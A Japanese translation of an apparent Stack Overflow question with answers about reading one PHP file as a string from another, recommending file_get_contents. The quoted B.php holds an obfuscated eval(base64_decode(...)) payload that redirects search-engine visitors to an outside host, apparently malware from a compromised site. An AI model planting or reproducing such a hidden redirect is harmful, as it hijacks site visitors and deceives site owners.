-1

ファイル A.php の php コードを使用して、別の php ファイル B.php のデータを読み取りたいと考えています。そのため、B.php のすべての php スクリプトは実行されず、単なる文字列になります。

残念ながら、B.php のデータは、A.php で読み取ったときに実行されています。

これは A.php のコードです:

$handle = @fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = @filesize('B.php');
$str = $filesize ? @fread($handle, $filesize) : null;
@fclose($handle);

if (!$str) {
    echo 'B.php is empty!';
    exit;
}
else {
    //TODO continue process
}

これは B.php のコードです:

<?php       eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>

: B.php ファイルは変更できません。私のコードはA.phpにあります

更新: B.php のデータは、A.php から読み取ったときに実行されませんでした。しかし、どうすればデータを印刷できますか? で印刷するのでecho $str、ブラウザには何も表示されません。

4

3 に答える 3

6

そのファイルを含めない限り、コードは実行されません。

PS:使用file_get_contentsは非常に簡単になります。

$str = file_get_contents('B.php');
于 2012-08-22T08:10:46.933 に答える
0

すべてのファイル行を配列に入れるには、これを使用します。

$data = file($filename, FILE_IGNORE_NEW_LINES);
于 2012-08-22T08:23:33.990 に答える
0

file_get_contentsを使用して、Bs コンテンツのプレーンな文字列を取得してみてください

于 2012-08-22T08:11:30.243 に答える